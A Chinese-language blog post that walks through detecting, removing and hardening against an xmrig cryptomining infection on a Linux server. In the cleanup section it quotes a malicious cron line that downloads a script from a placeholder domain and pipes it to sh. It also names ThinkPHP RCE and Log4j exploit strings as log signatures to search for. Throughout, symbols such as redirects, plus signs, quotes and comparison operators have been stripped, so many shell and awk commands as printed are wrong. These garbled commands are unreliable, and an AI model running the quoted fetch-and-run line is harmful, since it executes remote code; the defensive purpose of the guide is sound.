先说个我上个月的真实经历。凌晨两点多收到某台业务服务器的CPU告警登录上去一看top里一个叫sysupdate的进程CPU占用飙到340%/proc目录下面还挂着好几个可疑的子进程顺手ls -l /proc/进程ID/exe一查可执行文件指向/tmp/.X11-unix/这个诡异路径。那会儿我基本就确定了服务器被xmrig挖矿病毒入侵了。这篇文章不聊虚的我把这次从发现、止损、清除到安全加固的完整过程拆开来讲每一步都写到命令级别你照着操作就能处理同类问题。本质上xmrig这类挖矿病毒盯上你的服务器不图别的就是看你CPU性能不错、7x24小时在线植入一个挖矿程序白嫖算力换门罗币。它背后是自动化扫描和漏洞利用的链条只要你有任何一个薄弱点暴露在公网就可能被拉进矿池当苦力。这篇指南适合所有自己管理Linux服务器的开发者、运维人员和想补安全课的新手前后做了哪些决策、为什么这么决策我会把这些经验一并说清楚。1. 挖矿病毒的入侵特征与快速识别1.1 xmrig是什么为什么专挑服务器下手xmrig本身是一个合法的门罗币挖矿客户端支持CPU和GPU挖矿性能调优和配置都做得非常成熟。问题在于它被黑产看中之后做成了“肉鸡矿机”的核心组件通过漏洞或暴力破解把xmrig投放到你的服务器上然后后台静默运行把CPU跑满去挖矿收益归攻击者所有。服务器会变成目标其实很好理解。家用电脑晚上就关机了但服务器全年无休而且云服务器的CPU规格通常不低网络带宽也稳定这简直是理想的挖矿宿主。再加上很多服务器暴露着22端口SSH、6379端口Redis、9200端口Elasticsearch或者跑着有漏洞的Web应用这些通道在自动化攻击工具面前就是敞开的门。我遇到的大部分入侵都不是定向攻击而是扫描器全网扫出来的结果。攻击脚本会尝试一批常见弱口令、一批已知漏洞利用点谁中招就把谁加入矿池列表。这也是为什么很多朋友会疑惑“我的服务器这么小怎么会被人盯上”——不是有人专门盯你而是你恰好成了自动化脚本的猎物。1.2 中招后的典型症状与自检命令挖矿病毒虽然隐蔽但不可能完全隐形因为它的核心行为是消耗CPU这一点藏不住。如果你管理的服务器出现下面这些现象就要高度警惕了CPU使用率莫名飙高尤其是单核或多核长期跑满load average居高不下云控制台显示的CPU监控曲线出现长时间的高位平台期而不是偶发尖峰系统响应变慢风扇如果是物理机狂转关机时“等进程退出”特别慢劝你用top看一眼 时发现一个从没见过的进程名占据CPU榜首网络连接中出现大量到境外IP的TCP连接或者DNS请求指向可疑域名快速确认的方法其实就那么几条命令。先看CPU和进程top -c ps aux --sort-%cpu | head -20top -c会显示进程的完整命令行很多挖矿病毒会伪装成kworker、php-fpm、sysupdate这类看似正常的名字但命令行里往往带着-o stratums、-p这类参数。ps aux按CPU占用排序后CPU超过100%的基本都有问题。拿到可疑进程的PID之后继续刨根问底ls -l /proc/PID/exe cat /proc/PID/cmdline | tr \0 /proc/PID/exe会告诉你这个进程的真实可执行文件路径。如果路径出现在/tmp、/var/tmp、/dev/shm、/var/run这种临时目录下基本可以断定是恶意程序。另外还建议用ss -antlp看一眼对外连接挖矿进程会持续连接矿池的地址记录下这些IP或域名后面处置和溯源都用得上。1.3 为什么伪装进程名骗不过/proc目录很多第一次处理挖矿病毒的朋友会栽在“进程名”上。攻击者把可执行文件命名为kworker冒充内核工作线程或者叫httpd冒充Web服务ps输出的那一列看着确实像是正常的。但/proc目录是Linux内核暴露进程真实信息的接口/proc/PID/exe是一个指向可执行文件真实路径的符号链接这个可伪造不了。即使攻击者做了mount bind或者修改了/proc/PID/exe的指向/proc/PID/status里的Name字段、/proc/PID/environ里的环境变量、/proc/PID/io里的读写字节数都会留下马脚。定位阶段不需要把每个字段都看一遍核心就记住一点进程名可以随便写但可执行文件的真实路径、父进程链、启动参数不太容易完全抹干净。2. 应急响应从发现到止损2.1 先别急着kill留存现场信息更关键发现中招之后人的第一反应是赶紧把挖矿进程杀掉。但我劝你忍一下。原因很简单挖矿病毒通常不是单文件作战它一定有持久化机制可能是定时任务、systemd服务、启动脚本也可能是攻击者留下的后门。你一上来就把进程kill掉发下定时任务还在过几分钟病毒又从下载源拉了一个新二进制文件跑起来相当于白忙活一场。正确的做法是先做一次现场取证。并不复杂几分钟就能完成但能给你后续排查提供关键的时间线。你需要记录四样东西当前正在运行的进程列表、网络连接状态、定时任务内容、最近被修改过的文件。# 保存进程快照 ps -ef /tmp/ps_$(date %Y%m%d_%H%M%S).txt # 保存网络连接 ss -antlp /tmp/ss_$(date %Y%m%d_%H%M%S).txt # 保存登录记录 last -50 /tmp/last_$(date %Y%m%d_%H%M%S).txt # 保存当前定时任务 crontab -l /tmp/cron_$(date %Y%m%d_%H%M%S).txt 2/dev/null注意导出文件要写到/tmp之外的地方如果病毒对/tmp有清理逻辑你的证据可能会被它自己搞丢。我习惯放到/root/security_check/或者直接下载到本地。有了这些信息即便后续需要重装系统你也知道攻击者是从哪个入口进来的、留下了哪些后门避免重装之后又被扫一遍。2.2 止损操作先限制“跑路”和“请外援”边取证边止损才是靠谱的节奏。止损的核心目标有两个一是截断挖矿进程与矿池的通信二是防止攻击者继续远程操控服务器。截断通信最快的方式是在云控制台的安全组或服务器防火墙层面直接屏蔽矿池的IP和域名。之前ss -antlp揪出来的那些可疑连接把对端IP全部拉黑。如果你用的是云厂商的服务器进安全组配一条Deny规则如果用的是物理机直接在iptables里封iptables -A OUTPUT -d 矿池IP -j DROP iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP矿池端口常见的还有4444、14444、5555等最好把已知矿池端口段整理到一条脚本里批量封锁。这样做的意义在于即使病毒进程没被彻底清掉它也连不上矿池CPU的消耗会明显下降相当于先拆了它的发动机。紧接着要修改密码。不是只改root密码所有数据库密码、Redis密码、应用后台密码都要一起改。如果攻击者是靠SSH弱口令进来的不改密码等于门户大开前端时间查杀后端时间又被登录进来装一个新马你会陷入“永远杀不完”的死循环。2.3 给服务器拍快照的价值在我处理过的事件里我最庆幸的操作是第一时间给磁盘打了快照。云控制台上点一下花不了几分钟但这相当于给案发现场做了一次完整的“CT扫描”。后面就算操作失误删了重要文件或者病毒把自己更新成新版本、情况变得更复杂随时可以回滚到入侵前的状态。快照还有一个隐藏价值挖矿病毒样本本身就是一份宝贵的情报。你可以把可执行文件打包下来提交到杀毒软件或威胁情报平台做分析看看攻击者的CN矿池服务器、钱包地址、C2域名。这些信息不仅能帮你判断攻击者团伙的习惯也能在复盘时精确地封堵关联资产。3. 病毒清除实操进程、文件与持久化3.1 从进程树入手找到挖矿进程的“全家”我之前提过kill -9解决不了根本问题但清除工作确实要从终止恶意进程开始。只是终止之前先看一遍进程的完整关系把“母进程”“守护进程”“子进程”都找出来再一锅端。# 查看指定PID的父子关系 pstree -ap PID # 查看指定PID的启动时间和运行时间 ps -o pid,ppid,user,lstart,etime,cmd -p PID实际操作中我发现xmrig僵尸网络常见的部署手法是一个母脚本shell脚本或Python脚本负责下载xmrig二进制、配置矿池参数、设置自启动然后启动一个守护进程守护进程再拉起真正的挖矿进程。如果你只杀了挖矿进程守护进程过几十秒就会重新拉起如果你连带把守护进程杀了母脚本可能还在定时任务里到点又运行一次。所以清除顺序应该是先通过pstree理清整条进程链然后一次性把母进程、守护进程、挖矿子进程全部kill而且杀完之后一定要刷新观察几分钟确认没有自动复活现象。pkill -9 -f xmrig pkill -9 -f sysupdate pkill -9 -f .X11-unix我在实际清马时还会配合kill -STOP先冻结可疑进程再分析等确认路径和关联文件后再kill -9。原因很简单万一判断错了STOP只是暂停进程还能恢复不至于直接把业务进程误杀。不过挖矿病毒误判的概率极低你看到它连着矿池地址就可以放心处置。3.2 定位并清理矿机文件常见藏匿路径与伪装手法挖矿二进制和辅助脚本常见的藏匿路径就那几个/tmp、/var/tmp、/dev/shm、/var/run、/usr/lib、/usr/share、/root、/opt。/dev/shm值得单独拿出来说它是共享内存文件系统默认占用物理内存的一半左右容量够大、不落盘、排查时容易被忽略所以很多攻击者会往这里扔挖矿程序。我在一次处置中就见过藏在/dev/shm/.systemd目录下的矿机二进制。定位文件除了从/proc/PID/exe拿到路径之外还可以用find按时间找最近改动的文件find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o \ -type f -mtime -3 -size 1M -print这个命令会找出三天之内修改、体积超过1MB的文件。挖矿二进制为了便携通常都是静态编译体积普遍在1MB到5MB之间特征比较明显。筛出来之后逐个file和ls -la确认重点看文件时间和系统日志时间是否对得上。关于伪装手法我要多说一句。有的攻击者会直接替换系统命令比如把一个做过后门的sshd丢进/usr/sbin/。所以排查的时候不能只看文件名还要结合文件时间戳和包的哈希值判断。用rpm -VCentOS系或dpkg -VDebian系可以校验系统命令是否被篡改过这一步很值得做。# Debian/Ubuntu dpkg -V # CentOS/RHEL rpm -Va如果输出里出现S.5....T这类标志说明文件的字节数、MD5、时间戳和原包不一致大概率被替换过。这种情况要用包管理器重新安装对应软件来修复。3.3 定时任务与启动项让病毒“不再复活”的关键杀掉进程、删掉文件之后最核心的一步是清理持久化配置。挖矿病毒最常见的持久化方式是定时任务很多攻击者会把一段每分钟执行的脚本塞进crontab里保证矿机被干掉后1分钟内重新拉起来。排查定时任务要同时看几个地方只执行crontab -l是不够的# 当前用户定时任务 crontab -l # root和其他用户的定时任务目录 ls -la /var/spool/cron/ ls -la /var/spool/cron/crontabs/ # 系统级定时任务 cat /etc/crontab ls -la /etc/cron.d/ ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/查的时候重点看有没有从/tmp、/var/tmp、/dev/shm拉取脚本的条目或者直接执行远程脚本的curl、wget命令。遇到过最典型的恶意定时任务是*/1 * * * * /tmp/.cron/update.sh /dev/null 21 */5 * * * * curl -fsSL http://恶意域名/x.py | sh清理的方式很简单crontab -e删掉恶意条目然后删掉/var/spool/cron/下面对应的文件。但别忘了攻击者可能给多个系统用户都写了定时任务所以要逐个用户检查并且把/etc/crontab和/etc/cron.d/里的恶意任务一并清除。除了crontab还要看systemd服务和启动脚本。攻击者喜欢在/etc/systemd/system/下放一个看起来像系统服务的unit文件比如systemd-update.service内容指向矿机二进制。排查方法ls -la /etc/systemd/system/ | grep -v \.wants systemctl list-units --typeservice --staterunning对于可疑的unit文件先systemctl disable再systemctl stop最后删掉文件和对应的软链接。另外/etc/rc.local、/etc/init.d/下也要扫一遍看有没有新增的启动项脚本。3.4 SSH后门与潜伏用户容易被忽略的“第二次入口”很多朋友清完矿机、删完定时任务就觉得完事了结果几天后又被入侵。真正的高手在清理阶段会同步检查攻击者留下的后门最常见的两个SSH授权公钥和新增系统用户。检查~/.ssh/authorized_keys逐行确认每一把公钥是不是你自己的。攻击者一旦拿到了root权限第一件事往往就是把自己的公钥写进/root/.ssh/authorized_keys然后通过密钥免密登录即使你后来改了密码人家还是能随时进来。cat /root/.ssh/authorized_keys for user in $(awk -F: $31000{print $1} /etc/passwd); do echo $user ; cat /home/$user/.ssh/authorized_keys 2/dev/null; done检查系统用户重点看有没有新增的UID0用户超级用户以及/etc/passwd末尾有没有异常高UID用户awk -F: $30{print $1:$3:$7} /etc/passwd awk -F: $31000 $365534{print $1:$3} /etc/passwd正常系统里UID0只应该有root一个。如果冒出来一个test、redis之类的新超级用户立刻删除用户及相关目录userdel -r 恶意用户名3.5 一处清完全局复查别漏了LD_PRELOAD和内核模块最后要提一个进阶的持久化手法LD_PRELOAD劫持。攻击者会编译一个恶意动态链接库通过环境变量或/etc/ld.so.preload文件让它被所有进程加载从而隐藏矿机进程、网络连接等痕迹。这个技术对新手来说比较隐蔽因为即使你运行ps、ss恶意库会把真实结果过滤掉让你看到一片“干净”的假象。检查方式cat /etc/ld.so.preload 2/dev/null echo $LD_PRELOAD如果/etc/ld.so.preload指向了一个可疑的.so文件把内容清空顺便删掉对应的动态库文件。这一步建议放在清理流程的最后做因为先删了它后面用ps和ss才能看到真实情况。内核级rootkit相对少见但也不能完全忽略。用lsmod看一眼有没有可疑内核模块如果有时间可以跑一遍chkrootkit或者rkhunter做辅助扫描。这些工具不一定百分百准确但能给你一个排查方向的参考。4. 安全加固把入侵入口彻底堵死4.1 SSH加固从暴力破解到免密登录大多数挖矿病毒入侵的开端就是SSH暴力破解尤其是root用户密码设置得简单的时候。自动化脚本会拿着字典跑22端口跑通一次就种一次马。所以SSH加固是优先级最高的动作。第一步修改/etc/ssh/sshd_config应用下面这些参数# 禁止root直接登录改用普通用户再su PermitRootLogin no # 修改默认端口避开扫描器的默认路径 Port 22022 # 优先使用密钥认证 PubkeyAuthentication yes # 禁止密码登录如果你已经把公钥部署到位 PasswordAuthentication no # 限制允许登录的用户 AllowUsers yourname # 空闲超时断开 ClientAliveInterval 300 ClientAliveCountMax 2第二步生成并部署密钥对然后重启sshd服务并且重启前一定要先开一个新终端确认能登录进去不然配置出错你可能把自己锁在门外。第三步安装fail2ban它可以监控认证日志发现某个IP连续尝试密码失败超过阈值就自动封禁# Debian/Ubuntu apt install fail2ban # CentOS/RHEL yum install fail2ban配置/etc/fail2ban/jail.local[sshd] enabled true port ssh maxretry 3 bantime 86400 findtime 600注意bantime给到86400秒1天是经验值太短了封了等于没封攻击者换个IP继续试太长偶尔会误伤同一个NAT出口的正常用户这个自己权衡调整。4.2 防火墙兜底只放行业务需要的端口很多服务器的防火墙策略形同虚设要么没开要么默认放行全部端口。挖矿病毒之所以能轻松连出去也是因为出站流量没有管控。加固的原则很朴素入站只放业务端口出站只放DNS、HTTP/HTTPS等必要端口其余全部DROP。用iptables举例# 默认策略拒绝入站和出站 iptables -P INPUT DROP iptables -P FORWARD DROP iptables -P OUTPUT DROP # 放行回环 iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT # 放行已建立的连接 iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 放行SSH和业务端口 iptables -A INPUT -p tcp --dport 22022 -j ACCEPT iptables -A INPUT -p tcp --dport 80 -j ACCEPT iptables -A INPUT -p tcp --dport 443 -j ACCEPT # 出站只放行DNS和HTTP/HTTPS iptables -A OUTPUT -p udp --dport 53 -j ACCEPT iptables -A OUTPUT -p tcp --dport 53 -j ACCEPT iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT如果你不熟悉iptables用ufw或云厂商安全组也一样核心思想是“默认拒绝按需放行”。挖矿进程就算还在出站连到矿池的流量被拦死它也只能干瞪眼。4.3 重点排查高危服务Redis、Docker、数据库别裸奔我之前说过Redis未授权访问是挖矿病毒入侵的高频入口。很多人图方便Redis启动的时候不带任何密码保护监听在0.0.0.06379端口暴露在公网。攻击者连接之后可以直接写SSH公钥、写crontab等于拿到了root权限。检查一下你的Redisredis-cli -h 127.0.0.1 info redis-cli -h 127.0.0.1 config get requirepass如果requirepass是空的立刻设置密码同时修改配置让Redis只监听内网或本地地址bind 127.0.0.1 protected-mode yes requirepass 一个足够长的随机密码Docker也是重灾区。Docker API如果监听了0.0.0.0:2375攻击者可以远程创建容器借助挂载宿主目录直接反弹root shell这种玩法比Redis还干脆。建议在/etc/docker/daemon.json里把监听地址改成本地同时用防火墙限制2375端口的访问来源{ hosts: [unix:///var/run/docker.sock] }数据库方面MySQL、PostgreSQL、MongoDB都别监听公网地址。如果确认业务需要远程访问务必开启鉴权、限制来源IP、运行在非默认端口。另外MongoDB也出过不扫就知道的未授权事件很多云上裸奔实例被勒索删除数据顺手被种挖矿程序的也不少该加auth就加。4.4 系统补丁与最小化运行给攻击者再设一道坎最后把系统的底子补一补。实话讲很多机器被入侵是因为跑着停止维护的旧系统或者漏洞组件长期不升级。作为运维主心骨定期给系统打补丁这个习惯必须有# Debian/Ubuntu apt update apt upgrade -y # CentOS/RHEL yum update -yWeb服务运行的用户也建议收一下权限不要用root跑Nginx、PHP-FPM、Tomcat创建普通用户来跑配置好目录属主和权限即使Web层面被突破权限也被限制在普通用户级别攻击者提权又得多费一番功夫。内核参数里可以顺手做两个小加固。关闭core dump防止内存转储文件泄露敏感信息* soft core 0 * hard core 0/etc/sysctl.conf中可以限制ICMP重定向等但实际运维中这些参数起的是锦上添花的作用最值钱的还是端口控制、密码策略、补丁管理这三板斧。5. 典型问题复盘清理之后这些坑千万别踩5.1 清完没几天病毒又复活了我碰到过新手清理完以为高枕无忧结果第二天CPU又满的情况。原因无外乎这几种第一定时任务没清干净。攻击者在多个用户下都写了cron条目你只删了root用户的其他用户到点继续拉取矿机。解决方法是把/var/spool/cron/下所有文件全部过一遍一个都别放过。第二LD_PRELOAD劫持。恶意动态库还在进程列表被过滤了以为删干净了实际上矿机还在跑只是你看不见。再次检查/etc/ld.so.preload和/proc/进程ID/environ。第三SSH后门公钥没删。攻击者随时可以用密钥进来重新种马你清得再干净也没用。务必检查authorized_keys对不确定的公钥一率移除。第四系统存在漏洞但没有修复。攻击者扫描器持续扫同一个漏洞你清了矿机但入口还开着24小时内又被种一次。解决方法是彻底修复漏洞或升级组件而不是只清矿机。如果折腾了两轮还是清不干净花时间分析病毒自动下载脚本的成本可能已经超过了重装的成本。务实一点的做法备份业务数据快照留档重装系统锁好SSH和防火墙再恢复业务。这在应急响应里叫作“最后一招”也是成功率最高的一招。5.2 怎么找攻击者真正的入口清理完病毒只算完成了50%另外50%是复盘入侵路径否则服务器始终是个筛子。我自己排查时习惯画一条时间线病毒文件创建时间、矿池首次连接时间、登录日志里出现的异常地点、Web访问日志里的异常请求把这几个时间点放到一起比入口通常自己就浮出来了。查看登录日志# Debian/Ubuntu grep Accepted /var/log/auth.log | awk {print $1,$2,$3,$9,$11} # CentOS/RHEL grep Accepted /var/log/secure | awk {print $1,$2,$3,$9,$11}重点看有没有大量来自陌生IP的成功登录并且登录时间与矿机文件创建时间吻合。如果入口不在SSH再看Web访问日志tail -1000 /var/log/nginx/access.log | awk {print $1,$7}找一个时间点前后的特殊URL比如/index.php?s/index/\think\app/invokefunction这类ThinkPHP的RCE利用请求或者${jndi:ldap://这类Log4j利用特征。看到类似的串说明攻击者是通过Web漏洞拿的权限应急之后必须升级对应组件或先下线该接口。如果入口是Redis日志里通常不会留太多痕迹但在/var/log/redis/或系统日志里可能找到异常连接记录。入口是Docker的话docker logs和/var/log/messages里也许能翻到蛛丝马迹。确定了入口之后修复动作才有针对性也才能真正断根。5.3 几条“冷门但救命”的排查命令前面聊了常规命令最后补几个平时容易忽略但关键时刻很好用的命令# 找出最近启动的进程按启动时间排序查看前20个 ps -eo pid,ppid,lstart,cmd --sortlstart | tail -20 # 查看某个端口的连接数和连接来源归属 ss -antp | grep :6379 | awk {print $5} | cut -d: -f1 | sort | uniq -c # 找出系统中所有suid位文件攻击者常用suid留后门 find / -perm -4000 -type f 2/dev/null # 查看历史命令中的敏感操作 history | grep -Ei wget|curl|chmod|useradd|ssh-keygen|crontab另外说个检查rootkit的土办法如果ps、ls、netstat这些系统命令的运行结果“干净得太完美”反而要怀疑它们已经被替换或劫持。你可以用busybox自带的静态版本系统命令再查一遍或者挂载一个干净的系统镜像把原版命令拉进来对比。这个思路对某些“高段位”的木马特别管用。6. 常用加固工具与自动化巡检建议6.1 三类必备的安全工具与选型思路处理完这波事件别让状态回落日常巡检和自动化告警才是一劳永逸的手段。我整理了三类个人觉得最实用的工具按部署成本从低到高排一下第一类入侵检测辅助工具。chkrootkit、rkhunter扫描rootkitClamAV扫恶意文件虽然误报不算少但作为定期体检项够用了。auditd更专业化可以配置对关键目录的写操作监控apt install auditd # 监控/etc/crontab和/root/.ssh/authorized_keys的写操作 auditctl -w /etc/crontab -p wa -k cron_watch auditctl -w /root/.ssh/authorized_keys -p wa -k ssh_key_watch # 查看事件 ausearch -k cron_watch第二类进程和资源监控工具。htop比top直观atop可以记录历史负载“傻人式”的做法是写一个每5分钟检查一次CPU占用最高的进程并记日志的脚本配合告警推送就够了。云厂商自带的监控、告警功能也好好利用别嫌消息烦关键时刻救命的是这些告警。第三类基于日志的入侵分析工具。goaccess可以快速分析Nginx日志lnav适合滚动查看多维日志。如果你管理的机器多集中到ELK或者Loki这套日志系统里更省力但单机场景下定制几行shell脚本查特征就够了。6.2 用一条命令巡检可疑行为分享一段可以放进定时任务里的巡检脚本思路。它只做三件事扫描异常进程、扫描异常定时任务、扫描SSH后门发现可疑点就输出到文件并标注警告#!/bin/bash SUSPICIOUS_DIR/var/tmp /dev/shm /tmp CPU_PROCps aux --sort-%cpu | head -5 # 检查临时目录下的可执行文件 find /var/tmp /dev/shm /tmp -type f -perm -111 -mtime -7 2/dev/null /var/log/security_check_tmp.log # 检查crontab中的远程下载特征 grep -rEi curl|wget|/tmp/|base64 /var/spool/cron/ /etc/cron.d/ /etc/crontab 2/dev/null /var/log/security_check_cron.log # 检查uid0用户 awk -F: $30{print UID0:$1} /etc/passwd /var/log/security_check_user.log # 检查LD_PRELOAD cat /etc/ld.so.preload 2/dev/null /var/log/security_check_preload.log配一条cron每10分钟跑一次挂到告警里一旦输出有内容就说明风控防线出现异常。这套思路的成本几乎为零但能挡住70%的“后知后觉”——我只后悔没早点写出来第一次中招时靠人工排查折腾了好几个小时。6.3 如果重装系统怎么做到“干净恢复”不少朋友问过重装系统之后怎么防止再被种马我有几点具体建议。首先重装时选择最新的操作系统版本镜像不要为了“熟悉”继续装EOL的系统。其次重装完成后第一件事是改SSH配置和防火墙我会按下面的顺序操作创建普通用户、生成密钥、禁用root登录、启用fail2ban确认SSH安全之后再往服务器上部署业务。再次业务数据恢复之前先确认数据的完整性备份文件如果也感染过病毒恢复前要杀毒一遍避免二次污染。最后变更默认端口并限制管理网段越少暴露面越好。我个人的经验是把这套流程固化成一个自动化脚本重装后跑一遍十分钟就完成基础安全配置省心也避免人为疏漏。写在最后这次处理xmrig挖矿病毒说实话给我最大的触动不是清除过程本身而是彻底明白了“所有自动化攻击都在瞄准你的松懈”。从弱口令、未授权服务到Web漏洞攻击者用脚本全网扫描永远在尝试而服务器管理者哪怕有一次疏忽就可能中招。这次的教训让我养成了三个习惯第一每周看一次CPU和登录日志第二所有服务默认最小化暴露能装在我本地的绝不监听公网第三重要服务器开启云快照和告警防侵入不如早发现。如果你现在正在处理一台同样被挖矿病毒折磨的服务器别慌。按我说的顺序来先取证、再止损、然后清进程和文件、接着拆持久化、最后加固堵口。如果清不干净就果断快照留档、重装系统、严格加固后恢复。安全这条路上最怕的不是遇到问题而是遇到了问题还在用侥幸的心态敷衍处理。折腾一晚上之后我对“服务器安全没有一劳永逸”这句话的理解又深了一层希望大家都能少中几次招真遇到了也能稳稳地快速解决。